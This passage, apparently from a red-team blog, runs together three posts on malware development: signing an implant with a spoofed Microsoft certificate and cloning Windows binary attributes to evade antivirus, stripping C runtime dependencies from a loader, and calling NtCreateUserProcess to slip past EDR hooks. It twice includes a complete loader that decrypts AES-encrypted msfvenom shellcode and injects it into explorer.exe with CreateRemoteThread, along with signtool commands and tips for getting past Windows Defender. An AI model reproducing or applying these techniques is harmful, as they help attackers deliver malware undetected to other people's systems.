I’m quite happy with the result though since the majority of the AV products failed to detect it. But, I’m not satisfied so I keep thinking and trying different ways to improve the detection rate. After several attempts and testing, nothing worked and the detection rate remains the same. After doing some research, I came across Code Signing to make my binary look “trusted” (even though it should not be trusted as it’s actually doing malicious things). I don’t want to spend a dime purchasing a valid code signing certificate so I opted to use an invalid/spoofed certificate.

PS C:\bin> .\signtool.exe sign /v /f .\cert.pfx /fd SHA256 .\base-implant.exe
The following certificate was selected:
    Issued to: www.microsoft.com
    Issued by: Microsoft Azure TLS Issuing CA 06
    Expires:   Sat Sep 30 07:23:11 2023
    SHA1 hash: 1FE9A0EC7C3D307369DF61348838DC12F3FAE024

Done Adding Additional Store
Successfully signed: .\base-implant.exe

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

The cert.pfx file used from the above command was derived from a certificate and key created from the www.microsoft.com domain.

PS C:\bin> certutil.exe -dump .\cert.pfx
Enter PFX password:
================ Certificate 0 ================
================ Begin Nesting Level 1 ================
Element 0:
Serial Number: 330059f8b6da8689706ffa1bd900000059f8b6
Issuer: CN=Microsoft Azure TLS Issuing CA 06, O=Microsoft Corporation, C=US
 NotBefore: 10/5/2022 7:23 AM
 NotAfter: 9/30/2023 7:23 AM
Subject: CN=www.microsoft.com, O=Microsoft Corporation, L=Redmond, S=WA, C=US
Signature matches Public Key
Non-root Certificate uses same Public Key as Issuer
Cert Hash(sha1): 1fe9a0ec7c3d307369df61348838dc12f3fae024
----------------  End Nesting Level 1  ----------------
  Provider = Microsoft Enhanced Cryptographic Provider v1.0
Encryption test passed
CertUtil: -dump command completed successfully.

Here’s what the signed implant looks like and it is clearly shown that it was signed with an invalid certificate.

Based on the scan result, the detection rate improved from 6/26 to 3/26. This signifies that code signing works (or simply fools some AVs) even with an invalid certificate.

LESSON #1: Signed binaries are less investigated by some AV software. This means using a spoofed/invalid certificate works because there are AVs that don’t verify the validity of the digital certificate used.

Obsessed with improving the detection rate, I decided to time-stamp my signed implant, using http://timestamp.digicert.com as the Time Stamp Authority (TSA) server, to make it more “trusted” and “verified”?

PS C:\bin> .\signtool.exe timestamp /v /tr http://timestamp.digicert.com /td SHA256 .\signed-implant.exe
Successfully timestamped: .\signed-implant.exe

Number of files successfully timestamped: 1
Number of errors: 0

Now here’s what the time-stamped binary looks like.

Did I get a better result? I’m quite disappointed because nothing changed and the detection rate stays at 3/26.

My disappointment did not stop me so I keep on thinking and trying different methods. Out of curiosity, I decided to change the TSA server and used http://sha256timestamp.ws.symantec.com/sha256/timestamp instead.

PS C:\bin> .\signtool.exe timestamp /v /tr http://sha256timestamp.ws.symantec.com/sha256/timestamp /td SHA256 .\timestamped-implant.exe
Successfully timestamped: .\timestamped-implant.exe

Number of files successfully timestamped: 1
Number of errors: 0

Surprisingly, it worked and I now achieved the detection rate that I wanted!

LESSON #2: AV products behave differently depending on the TSA server used to time-stamp the binary.

I want to further investigate this observation. However, AntiScan.Me only allows 4 submissions per IP each day and I don’t have the luxury of time/resources to do it. Anyway, if you want to further explore this observation, here’s a list of free RFC 3161 TSA servers.

Now that I got what I wanted, it’s time to celebrate! Well… NO! Because as soon as my implant touches the disk of my target system (Windows 11 with up-to-date Windows Defender engine), it is caught immediately.

How did Windows Defender flag my implant when AntiScan.Me told me I got a 0/26 detection rate? How is that possible? I don’t even know how to answer my questions because I don’t have an idea how the different AV products within AntiScan.Me actually works!

LESSON #3: Don’t fully rely on online AV scanning tools/websites. While these online services make life easier since we can test our binary on different AV vendors and get the results at once, nothing beats testing your implant on a local and isolated machine.

Is there a way to evade Windows Defender in this scenario? What if I make my implant look like a Microsoft-signed binary? To do that, I looked for signed binaries within the C:\Windows\System32\ directory and ended up with RuntimeBroker.exe. I cloned this file’s attributes into my implant, signed then time-stamped my implant with an invalid www.microsoft.com certificate, and rename it to RuntimeBroker.exe. Here’s what my implant looks like.

I was very hopeful it will work but sadly, Windows Defender detected it as soon as it touches the disk.

Maybe it was detected because I spoofed a Microsoft domain to sign a cloned Microsoft binary, and Windows Defender could easily verify the authenticity of the certificate and the binary since Microsoft owned them. Maybe, maybe not. Who knows?

As a further investigation, I tried cloning only the file attributes of RuntimeBroker.exe but did not sign it. And the result is still the same.

I already expected this to happen though since the original and legit copy of RuntimeBroker.exe is signed by Microsoft.

But what if I clone the file attributes of an unsigned Windows binary? This time, I opted to clone C:\Windows\System32\at.exe and did not bother signing it since the original/legit copy is not signed. As soon as my implant touches the disk, Windows Defender did not detect it. Even when executed and the shell was received, Windows Defender also failed.

LESSON #4: There are tons of Windows binaries (signed/unsigned and/or installed by default or not) so the above observation might not be true 100%. However, based on my experiment, I would say cloning and code-signing Windows binaries comes with a risk. So make sure to thoroughly test your implant if you opted to use cloning and code signing.

However, as soon as I used meterpreter’s shell command (as shown above), Windows Defender alerted with Behavior:Win32/Meterpreter.D. Despite the alert, my meterpreter shell did not die and when I used the shell command for the second time, Windows Defender alert did not pop out again.

LESSON #5: Being able to download and execute your implant undetected does not necessarily mean the job is done and you won’t get caught. So don’t forget to implement some in-memory evasion techniques.

Conclusion

After spending some time with this experiment and trying to achieve what I wanted (0 detection rate), I realized an important lesson (at least for me).

LESSON #6: Don’t be obsessed or force a 0 detection rate. If we don’t know the security solution running on our target, we ideally wanted to aim for a 0 detection rate. However, the time spent (or wasted) achieving a 0 detection rate could instead be used for information gathering to identify the AV/EDR installed on our target. Using this information, we can then solely focus on evading that particular product.

Before I end this post, I would like to leave these additional lessons.

LESSON #7: When cloning file attributes, don’t limit yourself to Windows binaries. Beware though and ensure that the binary you wanted to clone and execute on your target must be present/installed and/or most likely being used/run on that machine. What I mean is you obviously don’t want to clone and execute an iTunes binary when your target is a Windows Server.

LESSON #8: No detection does not mean no alert/notification will be sent to the blue team.

LESSON #9: Signing an implant with a spoofed certificate might have LEGAL consequences. Do it at your own risk and be responsible.

That’s it for this post. Again, these are my opinions which are based on what I have observed during my experiment. There’s no guarantee that you’ll see the same observations and that all lessons shared here will work in your environment and all scenarios.

Remember, evasion is always a cat-and-mouse game.

I’m almost 90% complete drafting this post when I came across this talk by @rad9800 that discusses the same topic. I’m still publishing this anyhow because I don’t want my efforts to go to waste and this post contains some ideas not mentioned in the talk.

There’s no greater feeling when the malware (or any project/tool) you’re developing works as expected. Until suddenly you realized it only works on your dev machine but not on any other machine.

Here’s an example of what I mean. This code is a commonly used template by malware in which the payload is AES-encrypted (using tiny-AES-c in this case) to avoid static detection. The payload gets decrypted during execution and injected into a remote target process’ memory space.

#include <Windows.h>
#include <stdio.h>
#include "include/aes.hpp"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	// PID of explorer.exe
	DWORD pid = 6028;
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	printf("[+] Handle obtained: 0x%p\n", hProcess);

	PVOID baseAddress = NULL;
	baseAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	printf("[+] Memory allocated: 0x%p\n", baseAddress);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, NULL);
	printf("[+] Memory written: %zu bytes\n", shellcodeSize);

	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);
	printf("[+] Thread created: 0x%p\n", hThread);
	printf("[+] Payload executed!");
}

When run on the dev machine, the compiled code works as expected.

But when the same binary gets executed on a different machine, it throws the following error.

Runtime Libraries

What the heck is VCRUNTIME140.dll? This DLL is a runtime library used by Microsoft Visual Studio which consists of functions/codes a program needs in order to work during run time.

Per Microsoft’s documentation:

The vcruntime library contains Visual C++ CRT implementation-specific code, such as exception handling and debugging support, runtime checks and type information, implementation details and certain extended library functions.

Looking at the binary’s IAT (Import Address Table), several functions are imported from VCRUNTIME140.dll and api-ms-win-crt-*.dll DLLs.

When the binary is executed, the OS loads the required libraries (hence called “runtime library”) in the process’ address space and then resolves the relevant functions used by the program.

Why Do We Care?

During an engagement, we have no idea whether the libraries required by your implant/malware are installed on the target system. Well, if you already have access to the target machine then you can do an enumeration first. However, it is a good idea to assume the target system does not have the required libraries. Doing so will allow us to develop a program that works in any system.

The Solutions

How do we get around it and remove the dependencies? Here are some of the solutions I discovered as I encounter the same obstacle.

Install What’s Missing

One of the easiest solutions is to install Microsoft Visual C++ Redistributable. However, it is not recommended as making changes to a target system, especially installing software, is bad practice.

When Googling this issue, the solution provided by some web pages instructs the reader to download the missing DLL hosted on their server. This is a big NO as the legitimacy of the hosted file is unknown, and this could put the target/client’s system in a riskier scenario.

Statically Link ‘Em

Getting rid of runtime libraries can be done by static linking them during compile time. With this approach, worrying about the missing libraries on the target system goes away as they are already “bundled” in the binary. Hence, the chance the program will work on any system is highly probable.

Static linking of the required libraries is easy. In Visual Studio, go to the project properties and set the value of the Runtime Library property to Multi-threaded (/MT).

Since libraries are “bundled” into the executable, the following drawbacks can be observed:

• Bloated binary: Here’s a comparison showing a difference of more than 100KB in file size when using static linking.

• More IAT entries: Static linking results in more imports (78 in this case) compared to dynamic linking (49 in total).

Manually Remove ‘Em

To eliminate any dependencies, tell the linker to exclude all default libraries from the list of libraries it searches. This is done by setting the /NODEFAULTLIB linker option.

However, compilation with the /NODEFAULTLIB linker option set causes the following error.

What happened? Let’s first discuss the highlighted item.

To start the analysis, set a breakpoint in main(), debug the code, and look at the call stack. Here, it shows main() is not the entry point of the program. In fact, the execution begins by invoking the mainCRTStartup() function, which is the entry point of the C runtime library and is responsible for the initialization of the memory manager, file I/O, etc. Then the main() function will eventually be called.

Changing the Program’s Entry Point

If main() is not the actual entry point, then just “force” the compiler to use main() as the entry point. To do this, add the directive #pragma comment(linker, "/ENTRY:main") in the above code or set the Entry Point property to main.

Other function names (e.g., entry()) can be used as the entry point and having a main() function in the code is optional.

The other method does not involve changing the entry point, but having our version of the mainCRTStartup() function. Since mainCRTStartup() is the real entry point, then simply put the code inside it. Using this approach, the updated code would look like this.

#include <Windows.h>
#include <stdio.h>
#include "include/aes.hpp"

void __stdcall mainCRTStartup()
{
	[THE_BODY_CONTAINS_THE_SAME_CODE_AS_ABOVE]
}

int main() was simply change to void __stdcall mainCRTStartup(). Note that the rest of this post uses this method.

Using either method, compiling the updated code returns fewer errors. Specifically, the error message LNK2001 unresolved external symbol mainCRTStartup is gone.

Disabling Security Check

To address the error LNK2001 unresolved external symbol __security_check_cookie, simply tell the compiler to stop checking for buffer overruns. To do this, set the Security Check property to Disable Security Check (/GS-).

I won’t go into the details about the /GS compiler option, but here’s a reference you can read.

After compiling the updated program, only two errors were left.

Removing <stdio.h>

The remaining errors are related to the included library stdio.h, which contains functions for file I/O operations. The base code includes this library to be able to use the printf() function. If this library is removed and all lines containing the printf() function are commented out, then the remaining errors are gone.

[](/static/img/2022-10-17-independent-malware/stdio-gone.png)

When the updated code gets compiled and the binary is executed on another system, it works and the initial error related to VCRUNTIME140.dll didn’t pop out.

Looking again at the binary’s IAT, the number of imports is reduced to 4 and only contains the actual WinAPI used within the code.

The file size is also reduced to only 7KB, which is smaller than the original size of 15KB.

Build Your Own

Custom printf()

But what if printf() is necessary for our program? One approach is to have a custom printf() function. Here’s an example which utilizes Windows API.

void my_printf(const char* pszFormat, ...) {
	char buf[1024];
	va_list argList;
	va_start(argList, pszFormat);
	wvsprintfA(buf, pszFormat, argList);
	va_end(argList);
	DWORD done;
	WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buf, strlen(buf), &done, NULL);
}

This code was taken from here, so credits to the author.

When using the above my_printf() code, one must take into account the additional DLL (user32.dll due to the use of wvsprintfA()) the binary relies on. Since the program is a console application (no GUI/window), the use of functions from user32.dll could be a red flag.

How to write a print function without depending on user32.dll then? Luckily, kernelbase.dll has wprintf() as one of its exported functions.

However, directly using it will result in a compilation error. A workaround is to resolve wprintf() dynamically. Here’s the updated code showcasing how to do it.

#include <Windows.h>
#include "include/aes.hpp"

typedef int (*my_wprintf)(
	const wchar_t* format,
	...
);

void __stdcall mainCRTStartup()
{
	// Resolve wprintf()
	HMODULE hKernelBase = GetModuleHandleW(L"kernelbase.dll");
	my_wprintf wprintf = (my_wprintf)GetProcAddress(hKernelBase, "wprintf");

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	// PID of explorer.exe
	DWORD pid = 6028;
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	wprintf(L"[+] Handle obtained: 0x%p\n", hProcess);

	PVOID baseAddress = NULL;
	baseAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	wprintf(L"[+] Memory allocated: 0x%p\n", baseAddress);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, NULL);
	wprintf(L"[+] Memory written: %zu bytes\n", shellcodeSize);

	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);
	wprintf(L"[+] Thread created: 0x%p\n", hThread);
	wprintf(L"[+] Payload executed!");
}

Now, the dependency with user32.dll has been removed.

Custom CRT

What about the other standard functions such as memcpy(), memset(), strcmp(), rand(), etc.? One way is to write custom implementations of these functions. Several devs have done this so the codes are just one Google search away. Here’s an example for memcpy() and memset().

void *memcpy (void *dest, const void *src, size_t len)
{
  char *d = dest;
  const char *s = src;
  while (len--)
    *d++ = *s++;
  return dest;
}

void *memset (void *dest, int val, size_t len)
{
  unsigned char *ptr = dest;
  while (len-- > 0)
    *ptr++ = val;
  return dest;
}

Here are some repos that could be useful. These contain code snippets that can be used as an alternative to the C runtime library.

• malxau/minicrt
• liupengs/Mini-CRT
• dreckard/minicrt
• leepa/libctiny

Go With WinAPI

The other method is to simply use the WinAPI counterpart of the function. For example, instead of using malloc() and wcscmp(), WinAPI has VirtualAlloc() and StrCmpW().

This image was taken from this discussion, so credits to the owner/poster.

Conclusion

Your code most likely varies from the code presented here, so don’t expect everything discussed in this post will work in your project. However, with this rough guide, I hope it will alleviate some of the headaches you’re going to have should you decide to remove any CRT dependencies in your program.

I’m not a pro at programming and I only shared what I learned. If you identify any mistakes, please let me know so we can correct them.

In this post, I’ll share some of my notes and the journey that I took in the development of a “minimal” code, which is enough for my need of creating a process using native APIs.

I’m not an expert in Windows Internals so if you found some issues/mistakes, please let me know and I would be happy to make the necessary corrections.

From CreateProcess() to NtCreateUserProcess()

One of the documented Windows APIs for creating processes is CreateProcess(). Using this API, the created process runs in the context (meaning the same access token) of the calling process. Execution then continues with a call to CreateProcessInternal(), which is responsible for actually creating the user-mode process. CreateProcessInternal() then calls the undocumented and native API NtCreateUserProcess() (located in ntdll.dll) to shift to kernel-mode.

But Why Use NtCreateUserProcess()?

NtCreateUserProcess() is the lowest and the last function accessible in user-mode that we could call to evade the detection controls (such as User-land Hooking) set by an AV/EDR.

When I searched the web for a sample implementation of NtCreateUserProcess(), I came across the following repos:

• Microwave89/createuserprocess
• peta909/NtCreateUserProcess_
• PorLaCola25/PPID-Spoofing

However, none of them worked during the times I tested them. I spent hours modifying the codes that I found to try and make it work, but I keep on failing. So aside from the evasive purposes of this native function, the main reason I dedicated my free time to this subject is for the fun and challenge.

NtCreateUserProcess()

The native API NtCreateUserProcess() has the following syntax.

NTSTATUS
NTAPI
NtCreateUserProcess(
    _Out_ PHANDLE ProcessHandle,
    _Out_ PHANDLE ThreadHandle,
    _In_ ACCESS_MASK ProcessDesiredAccess,
    _In_ ACCESS_MASK ThreadDesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes,
    _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes,
    _In_ ULONG ProcessFlags,
    _In_ ULONG ThreadFlags,
    _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    _Inout_ PPS_CREATE_INFO CreateInfo,
    _In_ PPS_ATTRIBUTE_LIST AttributeList
);

Let’s start building this function and its parameter starting with both ProcessHandle and ThreadHandle which will store the handles to the created process and thread. These two arguments are too simple and can be initialized with the following:

HANDLE hProcess, hThread = NULL;

For ProcessDesiredAccess and ThreadDesiredAccess parameters, we need to supply them with ACCESS_MASK values that would identify the rights and controls we have over the process and thread we’re creating. Different values could be assigned to ACCESS_MASK and they are listed in winnt.h. Since we’re only dealing with process and thread objects, we can use the process- and thread-specific access rights PROCESS_ALL_ACCESS and THREAD_ALL_ACCESS.

For other process- and thread-specific access rights, refer to these documentations:

• Process Security and Access Rights
• Thread Security and Access Rights

The next parameters are ProcessObjectAttributes and ThreadObjectAttributes, which are pointers to an OBJECT_ATTRIBUTES. This structure contains the attributes that could be applied to the objects or object handles that will be created. These parameters are optional hence we can simply assign NULL values to them.

The flags set within ProcessFlags and ThreadFlags determine how we want our process and thread to be created (e.g., if we want a suspended process/thread upon creation). They are similar to the dwCreationFlags argument of CreateProcess() but the flags documented in MSDN do not apply to NtCreateUserProcess(). At the same time, SysWhisper2 (my go-to tool for generating the structs and typedefs of a function) does not support the generation of these flags. So where do we get the flags for these parameters? Good thing Process Hacker exists and open-source.

So based on ntpsapi.h header of Process Hacker, the valid values for ProcessFlags are:

#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 // NtCreateProcessEx only, requires SeLockMemory
#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 // NtCreateUserProcess only
#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // NtCreateProcessEx & NtCreateUserProcess, requires SeLoadDriver
#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_FORCE_BREAKAWAY 0x00000400 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_MINIMAL_PROCESS 0x00000800 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_RELEASE_SECTION 0x00001000 // NtCreateProcessEx & NtCreateUserProcess
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL 0x00002000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL_REDUCED_COMMIT 0x00004000 //
#define PROCESS_CREATE_FLAGS_AUXILIARY_PROCESS 0x00008000 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
#define PROCESS_CREATE_FLAGS_CREATE_STORE 0x00020000 // NtCreateProcessEx only
#define PROCESS_CREATE_FLAGS_USE_PROTECTED_ENVIRONMENT 0x00040000 // NtCreateProcessEx & NtCreateUserProces

While the following are the valid flags for ThreadFlags (based on ntpsapi.h):

#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 // NtCreateUserProcess & NtCreateThreadEx
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_LOADER_WORKER 0x00000010 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_SKIP_LOADER_INIT 0x00000020 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x00000040 // NtCreateThreadEx only
#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 // ?

What I like about the flags provided by Process Hacker is that they put some notes on what flags are supported by which native APIs. So be wary since not all flags are supported by NtCreateProcess(). For example, only THREAD_CREATE_FLAGS_CREATE_SUSPENDED could be applied to the ThreadFlags parameter.

So which among these flags should we use? Well, to create a “minimal” working PoC for NtCreateUserProcess(), we could simply set these parameters to NULL.

The next parameter (ProcessParameters) is optional but I found it to be mandatory. This parameter points to a RTL_USER_PROCESS_PARAMETERS structure which describes the startup parameters of the process to be created. We’ll discuss more about this parameter in the next section.

Next in line is CreateInfo, which is a pointer to a PS_CREATE_INFO structure. There’s not much information on the Internet (based on my searches) about PS_CREATE_INFO and this is the only post that I found that discusses this structure.

Based on my experiment, the PS_CREATE_STATE enumeration value that worked for me is PsCreateInitialState. So for a “minimal” working PoC, I set the value of PS_CREATE_INFO members to:

CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;

Just like ProcessFlags, I found that the last argument (AttributeList) is not optional (in my case). This parameter is used to set up the attributes for process and thread creation. An example of this is when implementing PPID Spoofing where the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute is set (if the WinAPI CreateProcess() is used). While the attributes for CreateProcess() is documented here, the valid attributes for NtCreateProcess() is not. So where do we get these “native attributes”? Again, Process Hacker’s ntpsapi.h to the rescue.

#define PS_ATTRIBUTE_PARENT_PROCESS PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_DEBUG_PORT PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_TOKEN PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_CLIENT_ID PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_TEB_ADDRESS PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE)
#define PS_ATTRIBUTE_IMAGE_NAME PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IMAGE_INFO PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE)
#define PS_ATTRIBUTE_MEMORY_RESERVE PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PRIORITY_CLASS PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ERROR_MODE PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_STD_HANDLE_INFO PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_HANDLE_LIST PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_GROUP_AFFINITY PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_PREFERRED_NODE PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_IDEAL_PROCESSOR PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_UMS_THREAD PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE)
#define PS_ATTRIBUTE_MITIGATION_OPTIONS PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_PROTECTION_LEVEL PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_SECURE_PROCESS PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_JOB_LIST PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_WIN32K_FILTER PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_BNO_ISOLATION PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_DESKTOP_APP_POLICY PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE)
#define PS_ATTRIBUTE_CHPE PsAttributeValue(PsAttributeChpe, FALSE, TRUE, TRUE)
#define PS_ATTRIBUTE_MITIGATION_AUDIT_OPTIONS PsAttributeValue(PsAttributeMitigationAuditOptions, FALSE, TRUE, FALSE)
